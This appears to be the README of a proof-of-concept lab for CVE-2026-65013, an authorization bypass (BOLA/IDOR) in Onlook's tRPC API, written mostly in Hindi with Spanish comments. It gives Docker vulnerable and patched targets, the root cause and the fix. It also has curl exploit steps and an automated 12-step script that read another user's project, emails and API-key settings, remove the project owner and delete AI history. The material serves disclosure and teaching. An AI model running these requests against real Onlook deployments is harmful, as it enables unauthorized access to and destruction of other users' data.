
Onlook के tRPC API के विरुद्ध पुनरुत्पादनीय BOLA/IDOR PoC (CVE-2026-65013), जिसमें 12-चरणीय exploit chain, vulnerable और patched Docker targets, और तकनीकी दस्तावेज़ीकरण शामिल है।
Onlook की tRPC API में BOLA / IDOR का पुनरुत्पादनीय PoC (CVE-2026-65013)।
कोई भी प्रमाणित उपयोगकर्ता अन्य उपयोगकर्ताओं की परियोजनाओं, सदस्यों और AI इतिहास को केवल उनके UUID को tRPC प्रक्रियाओं में पास करके पढ़, संशोधित और हटा सकता है (संस्करण <= 0.2.32)।
| CVE | CVE-2026-65013 |
| Advisory | GHSA-j6x3-f5cf-2pg4 |
| CWE | CWE-639 (Authorization Bypass Through User-Controlled Key) |
| CVSS 3.1 | 8.8 HIGH — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Vulnerable | Onlook <= 0.2.32 |
| Parche | commit 423e2e9 (PR onlook-dev/onlook#3129) |
Onlook अपने बैकएंड को tRPC के माध्यम से उजागर करता है, और प्रक्रियाएँ सीधे क्लाइंट से संसाधन की id प्राप्त करती हैं:
project.get({ projectId }) // किसी भी परियोजना को पढ़ता है
member.remove({ projectId, userId }) // किसी को भी बाहर निकालता है
chat.conversation.delete({ conversationId }) // AI इतिहास हटाता है
settings.get({ projectId }) // API keys के साथ settings
समस्या: अधिकांश यह सत्यापित नहीं करते थे कि कॉल करने वाला परियोजना का सदस्य है या नहीं। Postgres (Drizzle) कनेक्शन एक Row Level Security से छूट प्राप्त सुपरयूज़र था, इसलिए नियंत्रण tRPC कोड में होना चाहिए था... और वहाँ यह गायब था।
एक helper verifyProjectAccess() पहले से मौजूद था (कुछ प्रक्रियाओं पर लागू, जैसे project.update/delete), लेकिन बाकी सतह क्लाइंट की id पर भरोसा करती थी: project.get, member.list, member.remove, invitation.list, chat.conversation.*, chat.message.*, branch.*, settings.*, frame.*…
प्रमाणीकरण समस्या नहीं है (Supabase का JWT काम करता है)। यह प्रति-ऑब्जेक्ट प्राधिकरण (BOLA/IDOR) है: हमलावर अपने स्वयं के वैध सत्र का उपयोग पीड़ित की ids के विरुद्ध करता है।
lib/authorization.js में वे helpers हैं जो गायब थे (verifyProjectAccess, verifyConversationAccess, verifyMessagesAccess, verifyBranchAccess, verifyCanvasAccess, verifyMemberRemoval, verifyInvitationAccess) — commit 423e2e9 के समतुल्य।lib/router.js उन्हें केवल तभी आमंत्रित करता है जब enforceAuth सक्रिय हो; कमजोर मोड में प्रक्रियाएँ बिना जाँच के निष्पादित होती हैं (वास्तविक बग)।Unauthorized or not found (UNAUTHORIZED) फेंकता है, ताकि संसाधनों के अस्तित्व की गणना न की जा सके:
docker compose up -d --build
curl -s http://localhost:3000/health # {"status":"ok","fixed":false} → VULNERABLE
curl -s http://localhost:3001/health # {"status":"ok","fixed":true} → PARCHEADO
Docker target (कमजोर और पैच किया गया) के साथ-साथ एक
demoसेवा शुरू करता है। शोषण आपकी मशीन से उन targets के विरुद्ध किया जाता है।
curl -s http://localhost:3000/demo/ids # ids del seed de la víctima (Alice)
यह उस वास्तविक चैनल को प्रतिस्थापित करता है जिसके माध्यम से हमलावर UUIDs प्राप्त करेगा (साझा किया गया preview लिंक, लॉग का referrer, निमंत्रण…).
TOKEN=$(curl -s -X POST http://localhost:3000/login \
-H 'content-type: application/json' \
-d '{"email":"[email protected]","password":"bob123"}' | node -pe 'JSON.parse(require("fs").readFileSync(0,"utf8")).token')
# 3a. LEER el proyecto secreto de Alice (GET, formato input={"json":...}):
curl -s "http://localhost:3000/api/trpc/project.get?input=%7B%22json%22%3A%7B%22projectId%22%3A%2211111111-1111-4111-8111-111111111111%22%7D%7D" \
-H "Authorization: Bearer $TOKEN"
# → {"result":{"data":{"json":{"id":"1111...","name":"Lanzamiento Q3 (PROYECTO SECRETO)",...}}}}
# 3b. LISTAR miembros y emails (aun siendo ajeno al proyecto):
curl -s "http://localhost:3000/api/trpc/member.list?input=%7B%22json%22%3A%7B%22projectId%22%3A%2211111111-1111-4111-8111-111111111111%22%7D%7D" \
-H "Authorization: Bearer $TOKEN"
# 3c. EXPULSAR a Alice (owner) de SU propio proyecto (POST mutation):
curl -s -X POST http://localhost:3000/api/trpc/member.remove \
-H "Authorization: Bearer $TOKEN" -H 'content-type: application/json' \
-d '{"json":{"projectId":"11111111-1111-4111-8111-111111111111","userId":"aaaaaaaa-aaaa-4aaa-8aaa-aaaaaaaaaaaa"}}'
# → {"result":{"data":{"json":true}}} ← (Alice ya no está en su proyecto)
# 3d. BORRAR el historial de IA de Alice:
curl -s -X POST http://localhost:3000/api/trpc/chat.conversation.delete \
-H "Authorization: Bearer $TOKEN" -H 'content-type: application/json' \
-d '{"json":{"conversationId":"44444444-4444-4444-8444-444444444444"}}'
node exploit.js)श्रृंखला की 12 प्रक्रियाएँ निष्पादित करता है (परियोजना पढ़ना, Alice की परियोजनाओं की सूची बनाना, ईमेल फ़िल्टर करना, owner को बाहर निकालना, निमंत्रण सूचीबद्ध करना, AI इतिहास पढ़ना/हटाना, branches, apiKey के साथ settings, frames):
node exploit.js # contra :3000 (vulnerable) → filtraciones
node exploit.js --target http://localhost:3001 --expect blocked # contra :3001 (parcheado)
सामान्य आउटपुट (कमजोर):
💥 project.get → FILTRADO
💥 member.remove → FILTRADO (membership ajeno borrado: true)
💥 chat.conversation.delete → FILTRADO (historial de IA ajeno borrado: true)
...
✅ 12/12 — CVE-2026-65013 CONFIRMADA: bob leyó/borró recursos de alice.
पैच किए गए के विरुद्ध:
🛡️ project.get → BLOQUEADO (Unauthorized or not found)
...
✅ 12/12 — Servidor PARCHEADO: el mismo ataque fue bloqueado.
शोषण कमजोर सर्वर के इन-मेमोरी डेटाबेस को बदल देता है: इसे फिर से चलाने के लिए उस इंस्टेंस को पुनः आरंभ करें (
docker compose restart server)।
npm run demo # compara VULNERABLE vs PARCHEADO en proceso (sin red), 12 procedimientos
bash test-local.sh # harness integral: curl (formato advisory) + exploit vs :3100 y :3101, exit code real
या Docker में:
docker compose up -d demo
docker logs cve-2026-65013-demo
open http://localhost:3000 # (o http://localhost:3001 para la versión parcheada)
डेमो खाते:
project.getPreviewProjects), सर्वर स्थिति (कमजोर/पैच किया गया) और tRPC सतह।💥 FILTRADO / 🛡️ BLOQUEADO परिणामों के साथ।फ्रंटएंड प्रस्तुति है: भेद्यता
lib/router.jsमें रहती है और README का curl के साथ मैनुअल प्रवाह वही रहता है।
.
├── Dockerfile node:22-alpine + deps + app
├── docker-compose.yml server (vulnerable :3000), server-fixed (:3001), demo — misma imagen, cambia FIXED
├── .dockerignore excluye node_modules
├── .gitignore
├── package.json @trpc/[email protected], @trpc/client, superjson, zod
├── server.js HTTP: /health, /login, /demo/ids, /api/trpc/*, estáticos (FIXED=env)
├── exploit.js PoC automatizado (cadena BOLA/IDOR de 12 pasos)
├── demo.js comparación vulnerable vs parcheado en proceso
├── test-local.sh batería local: curl (formato advisory) + exploits + exit code
├── lib/
│ ├── db.js base en memoria + seed (UUIDs estáticos y reproducibles)
│ ├── auth.js tokens de sesión HS256 (bien hechos a propósito)
│ ├── authorization.js helpers del FIX (commit 423e2e9) → "Unauthorized or not found"
│ └── router.js createAppRouter({ enforceAuth }) — el surface tRPC
├── public/ app "real" (login, dashboard, consola Red Team)
│ ├── index.html
│ ├── styles.css
│ └── app.js cliente tRPC manual (mismo wire format del advisory)
└── docs/
├── CVE-2026-65013.md documentación técnica de la CVE
└── ARQUITECTURA.md este repo explicado (mapa, wire format, extensión)
यह समझने के लिए कि exploit की प्रत्येक महत्वपूर्ण पंक्ति क्या करती है और इसे और प्रक्रियाओं तक कैसे बढ़ाया जाए:
docs/ARQUITECTURA.md §8-§9।
यह सामग्री केवल शैक्षिक और सुरक्षा अनुसंधान उद्देश्यों के लिए है। exploit का उपयोग केवल अपने स्वयं के अनुप्रयोगों पर या स्वामी की लिखित अनुमति के साथ करें। तीसरे पक्ष के सिस्टम के विरुद्ध इस तकनीक का अनधिकृत उपयोग अवैध है और इसके उपयोग की जिम्मेदारी उपयोगकर्ता की है।
docs/CVE-2026-65013.mdCVE की तकनीक: root cause (RLS छूट + गलत तरीके से वितरित helper), वास्तविक प्रभावित सतह, हमले की शारीरिक रचना, fix 423e2e9 का पंक्ति-दर-पंक्ति विश्लेषण, उपचार, CVE/advisory/PR संदर्भ। |
docs/ARQUITECTURA.md | PoC का: फ़ाइल मानचित्र, tRPC v10+superjson wire format, डेटा मॉडल, VULN vs FIX स्कीमा, प्रक्रिया तालिका, PoC ↔ वास्तविक Onlook मैपिंग, विस्तार गाइड, सत्यापन/मैनुअल CI। |
// chat.conversation.delete — vulnerable (sin chequeo) vs parcheado:
enforce(() => verifyConversationAccess(ctx.db, ctx.user.id, input.conversationId))
project.update दोनों मोड में "कंट्रास्ट" के रूप में सुरक्षित रहता है: यह दर्शाता है कि helper मौजूद था, बस गलत तरीके से वितरित किया गया था।| प्रक्रिया | :3000 कमजोर | :3001 पैच किया गया |
|---|
project.get (अन्य की परियोजना) | 200 + नाम/metadata | 401 Unauthorized or not found |
member.list (अन्य के ईमेल) | 200 + emails | 401 |
member.remove (owner को बाहर निकालना) | 200 true | 401 |
chat.conversation.delete | 200 true | 401 |
settings.get (apiKey) | 200 + settings | 401 |
project.update (कंट्रास्ट: पहले से सुरक्षित था) | 401 | 401 |
| Password | भूमिका |
|---|
[email protected] | alice123 | गुप्त परियोजना की मालिक |
[email protected] | bob123 | हमलावर |
[email protected] | charlie123 | Alice की परियोजना का संपादक |